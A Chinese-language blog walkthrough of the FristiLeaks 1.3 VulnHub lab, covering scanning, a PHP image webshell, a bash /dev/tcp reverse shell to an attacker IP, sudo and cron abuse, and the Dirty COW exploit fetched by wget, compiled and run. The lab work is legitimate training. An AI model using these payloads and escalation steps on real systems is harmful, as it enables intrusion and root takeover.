*VulnHub-FristiLeaks:1.3暴力解法、细节解法,主打软硬都吃,隧道搭建、寻找exp、提权、只要你想没有做不到的姿势

*VulnHub-FristiLeaks:1.3暴力解法、细节解法,主打软硬都吃,隧道搭建、寻找exp、提权、只要你想没有做不到的姿势

一、信息收集

1、扫靶机ip

经典第一步,扫一下靶机ip

arp-scan -l
扫描同网段
nmap -sP 192.168.122.0/24

2、指纹扫描、端口
nmap -sV -O -p 1-65535 192.168.122.128
nmap -sS -sV 192.168.122.128
nmap -p- -sV -A 192.168.122.128
whatweb -v 192.168.122.128

只扫出了一个端口,估计要跟网页打交道了,这里有个php5.3.3留意一下,可能有说法

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
3、访问80端口

一个登录页面,尝试尝试sql和弱口令,因该是登录不了

这个页面的源代码有这样看着像加密的数据,我们去尝试尝试解码一下

base64解密一下看着像一张图片,解码是乱码,我们用kali去转化一下

base64 -d base64.txt > base64.png

这里原来是密码,账户名是作者名字

因该是文件上传了,可以做一个后门文件丢进去然后拿蚁剑、冰蝎连一下。

这里介绍一下如何制作图片木马

1、cmd命令将php的内容添加到png中生成新的png

copy /b 1.jpg + 1.php muma.png
这里1.jpg是源图片,1.php是木马文件,最后muma.png就是我们生成的图片马

然后这里蚁剑也是能连上的,可以在蚁剑上弹shell

这里蚁剑开终端还是挺舒服的

这里貌似是一个漏洞,先查看一下内核版本吧

这里是找到了一些提示,说实话这个因该是翻译问题,看的我很眩晕,大概意思说把runthis文件丢进tmp里,然后runthis里的命令每一分钟都会以他的账户运行

我们输入echo “/home/admin/chmod 777 /home/admin” > /tmp/runthis就能访问admin了

4、建立隧道,蚁剑、冰蝎、nc(瑞士军刀)

首先我们在kali终端建立一个nc监听

这里丢了一个phpinfo.php.gif是可以访问的,想说一点就是有时候连接可能会失败,总有一些莫名原因,这时候我们能做的就是不断尝试,不断试错。还有耐心,patience is the key in life。

我们也拿到了一个apache的权限

<?php system("bash -c 'sh -i &>/dev/tcp/192.168.66.129/6666 0>&1'");?>
这段代码就是我们放入a.php.png里面的语句,是一个反连语句,就是让靶机的bash创建一个shell给我们,给到我们的攻击机
5、提权

2025.3.6 AM: 10:49

方法一:python脚本

这里总结一下第二个方法,个人觉得这个方法应该是顺着作者方法进行的,因为靶机会提示你并给你引导至python脚本那一块,但是两种方式都可以,毕竟内核版本太老了 这里我们还是用kali来提权,蚁剑还是不太方便,用蚁剑vim时候不回显,不知道是不是shell不完整的问题。

两个解码出来LetThereBeFristi!和thisisalsopw123,根据之前看到的脚本whoisyourgodnow,大概能确定sudo账户是fristigod尝试登录 这里提到的权限是fristigod

这张图片在别的师傅哪儿是提示出来的,但是我这儿没有,可能是我已经提权到了还是怎么着,他告诉我们有一个root权限的文件夹,路径也给我们了,直接塞一个提权命令就可以了。这个root是任何命令都以root权限执行 旁边有个日志文件,但是可能是我这个靶机不完整,应该是有一个flag的,但是我只需要提权就完成了

sudo -u fristi ./doCom /bin/bash -p
用fristi用户执行doCom文件,然后让bash开一个新的shell,这样我们就能完成提权了,不过为什么不是root用户,是因为我使用过脏牛提权了,留下了一个管理员账户,但是id=0就已经是管理员组了

这里就是系统管理员了,就是利用这个root用户运行的doCom就能提权了

这里也是给大家找了个小彩蛋,虽然我是打靶机的,但是这道题原本应该是ctf题,挺变态的,出这种难度,说实话,这作者还挺自恋的哈。

这个作者让我花了一天时间,我觉得把flag改成下面的会更好

2025.3.6 AM: 11:28

方法二:脏牛提权,寻找exp.
uname -a
我们查看一下内核信息

靶机版本信息:Linux 2.6.32-573.8.1.el6.x86_64 这里看版本信息因该是可以使用

影响范围:Linux内核版本2.6.22(2007年发布)至修复前版本(2016年10月修复),包括CentOS、Ubuntu、Android等系统searchsploit linux 2.6.32 Privilege
寻找linux的exp或者去github下一个脏牛exp

这个还有教程,尝试一下这个exp。

1、首先开python或者apache2
python -m http.server 80
service apache2 start2、靶机下载脏牛的c语言脚本
wget http://192.168.66.129/dirty.c3、用gcc编译脏牛(dirty.c)名为exp
gcc -pthread dirty.c -o exp -lcrypt4、修复shell,因为这里shell是不完整的,大概运行到第5步会提示你
python -c 'import pty;pty.spawn("/bin/bash")'5、运行,这里是自己设置密码,账户就是exp作者给你的
./exp 1234566、提权
su firefart
123456
然后敲回车

最后用这个账户就能登陆了,密码就是你自己设置的

这里kali出毛病了疯狂报错,整个上午全在调试最后也是尝试出来了,很多雷区,师傅们打这个靶机时候小心一点。

到这里人已经眩晕了,我本想着今天打两台靶机的,但是先在是18:30了,吃饭去了。肝不动了。如果有师傅遇到问题问就可以了,虽然我这瓜不保甜,但我尽力

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/29870.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Collab-Overcooked:专注于多智能体协作的语言模型基准测试平台

2025-02-27&#xff0c;由北京邮电大学和理想汽车公司联合创建。该平台基于《Overcooked-AI》游戏环境&#xff0c;设计了更具挑战性和实用性的交互任务&#xff0c;目的通过自然语言沟通促进多智能体协作。 一、研究背景 近年来&#xff0c;基于大型语言模型的智能体系统在复…

HTTP 与 HTTPS 协议:从基础到安全强化

引言 互联网的消息是如何传递的&#xff1f; 是在路由器上不断进行跳转 IP的目的是在寻址 HTTP 协议&#xff1a;互联网的基石 定义 HTTP&#xff08;英文&#xff1a;HyperText Transfer Protocol&#xff0c;缩写&#xff1a;HTTP&#xff09;&#xff0c;即超文本传输协…

vue3:初学 vue-router 路由配置

承上一篇&#xff1a;nodejs&#xff1a;express js-mdict 作为后端&#xff0c;vue 3 vite 作为前端&#xff0c;在线查询英汉词典 安装 cnpm install vue-router -S 现在讲一讲 vue3&#xff1a;vue-router 路由配置 cd \js\mydict-web\src mkdir router cd router 我还…

【ARM内核】SWCLK/SWDIO引脚复用

我以CMS32L1032&#xff08;ARMCortex-M0&#xff09;单片机举例&#xff1a; 一、直接将下载端口引脚复用是会出问题的 电平可能跟别的IO不一样&#xff0c;然后还不好用&#xff0c;仔细阅读芯片手册&#xff1a; 然后禁用代码是&#xff1a; //禁用SM调试接口 *(volatil…

一套企业级智能制造云MES系统源码, vue-element-plus-admin+springboot

MES应该是继ERP之后制造企业信息化最热门的管理软件&#xff0c;它适应产品个性化与敏捷化制造需求&#xff0c;满足生产过程精益管理而产生和发展起来的信息系统。 作为企业实现数字化与智能化的核心支撑技术与重要组成部分&#xff0c;MES在帮助制造企业走向数字化、智能化等…

π0及π0_fast的源码解析——一个模型控制7种机械臂:对开源VLA sota之π0源码的全面分析,含我司微调π0的部分实践

前言 ChatGPT出来后的两年多&#xff0c;也是我疯狂写博的两年多(年初deepseek更引爆了下)&#xff0c;比如从创业起步时的15年到后来22年之间 每年2-6篇的&#xff0c;干到了23年30篇、24年65篇、25年前两月18篇&#xff0c;成了我在大模型和具身的原始技术积累 如今一转眼已…

MAVEN的环境配置

在下载好maven后或解压maven安装包后进行环境配置 1.在用户环境变量中 新建一个MAVEN_HOME 地址为MAVEN目录 注&#xff1a;地址为解压后maven文件的根目录&#xff01;&#xff01;&#xff01; 2.在系统环境变量的path中添加该变量 %MAVEN_HOME%\bin 3. 测试maven安装是否成…

03 HarmonyOS Next仪表盘案例详解(二):进阶篇

温馨提示&#xff1a;本篇博客的详细代码已发布到 git : https://gitcode.com/nutpi/HarmonyosNext 可以下载运行哦&#xff01; 文章目录 前言1. 响应式设计1.1 屏幕适配1.2 弹性布局 2. 数据展示与交互2.1 数据卡片渲染2.2 图表区域 3. 事件处理机制3.1 点击事件处理3.2 手势…

taosd 写入与查询场景下压缩解压及加密解密的 CPU 占用分析

在当今大数据时代&#xff0c;时序数据库的应用越来越广泛&#xff0c;尤其是在物联网、工业监控、金融分析等领域。TDengine 作为一款高性能的时序数据库&#xff0c;凭借独特的存储架构和高效的压缩算法&#xff0c;在存储和查询效率上表现出色。然而&#xff0c;随着数据规模…

olmOCR:高效精准的 PDF 文本提取工具

在日常的工作和学习中&#xff0c;是否经常被 PDF 文本提取问题困扰&#xff1f;例如&#xff1a; 想从学术论文 PDF 中提取关键信息&#xff0c;却发现传统 OCR 工具识别不准确或文本格式混乱&#xff1f;需要快速提取商务合同 PDF 中的条款内容&#xff0c;却因工具不给力而…

加速科技Flex10K-L测试机:以硬核创新重塑显示驱动芯片测试新标杆!

在2024年召开的世界显示产业创新发展大会上&#xff0c;加速科技自主研发的高密度显示驱动芯片测试设备Flex10K-L凭借其突破性技术创新&#xff0c;成功入选"十大创新技术&#xff08;产品&#xff09;"。作为国内显示驱动芯片测试领域的标杆性设备&#xff0c;Flex1…

Go语言集成DeepSeek API和GoFly框架文本编辑器实现流式输出和对话(GoFly快速开发框架)

说明 本文是GoFly快速开发框架集成Go语言调用 DeepSeek API 插件&#xff0c;实现流式输出和对话功能。为了方便实现更多业务功能我们在Go服务端调用AI即DeepSeek接口&#xff0c;处理好业务后再用Gin框架实现流失流式输出到前端&#xff0c;前端使用fetch请求接收到流式的mar…

mac上最好的Python开发环境之Anaconda+Pycharm

为了运行修改 label-studio项目源码&#xff0c;又不想在windows上运行&#xff0c;便在mac上开始安装&#xff0c;开始使用poetry安装&#xff0c;各种报错&#xff0c;不是zip包解压不了&#xff0c;就是numpy编译报错&#xff0c;pipy.org访问出错。最后使用anaconda成功启动…

增删改查 数据下载 一键编辑 删除

index 首页 <template><div class"box"><el-card :style"{ width: treeButton ? 19.5% : 35px, position: relative, transition: 1s }"><el-tree v-if"treeButton" :data"treeData" :props"defaultPro…

复合机器人为 CNC 毛坯件上下料注入 “智能强心针”

在竞争日益激烈的 CNC 加工行业&#xff0c;如何提升生产效率、保证产品质量、实现智能化生产成为众多企业亟待解决的问题。富唯智能凭借其先进的复合机器人技术&#xff0c;成功为多家 CNC 加工企业提供了毛坯件上下料的优质解决方案&#xff0c;有效提升了生产效能&#xff0…

C++ list(双向链表)

概念 std::list 是标准模板库&#xff08;STL&#xff09;提供的一个容器类&#xff0c;它实现了双向链表的数据结构。 实现原理 内部结构 双向链表由多个节点连接而成。其中每个节点包含三个部分&#xff1a; 内容/数据域&#xff1a;用于存储实际的数据元素。前驱&#x…

dify在腾讯云服务器上部署

Dify 是一个开源的 LLM 应用开发平台。提供从 Agent 构建到 AI workflow 编排、RAG 检索、模型管理等能力&#xff0c;轻松构建和运营生成式 AI 原生应用&#xff0c;比 LangChain 更易用。 首先到dify官方网站上有详细介绍 https://docs.dify.ai/zh-hans/getting-started/ins…

7V 至 30V 的超宽 VIN 输入范围,转换效率高达 96%的WD5030

WD5030 具备 7V 至 30V 的超宽 VIN 输入范围&#xff0c;这一特性使其能够适应多种不同电压等级的供电环境&#xff0c;无论是在工业设备中常见的较高电压输入&#xff0c;还是在一些便携式设备经过初步升压后的电压&#xff0c;WD5030 都能轻松应对&#xff0c;极大地拓展了应…

计算机毕业设计Python+DeepSeek-R1大模型医疗问答系统 知识图谱健康膳食推荐系统 食谱推荐系统 医疗大数据(源码+LW文档+PPT+讲解)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

npm ERR! code 128 npm ERR! An unknown git error occurred

【问题描述】 【问题解决】 管理员运行cmd&#xff08;右键window --> 选择终端管理员&#xff09; 执行命令 git config --global url.“https://”.insteadOf ssh://git cd 到项目目录 重新执行npm install 个人原因&#xff0c;这里执行npm install --registryhttps:…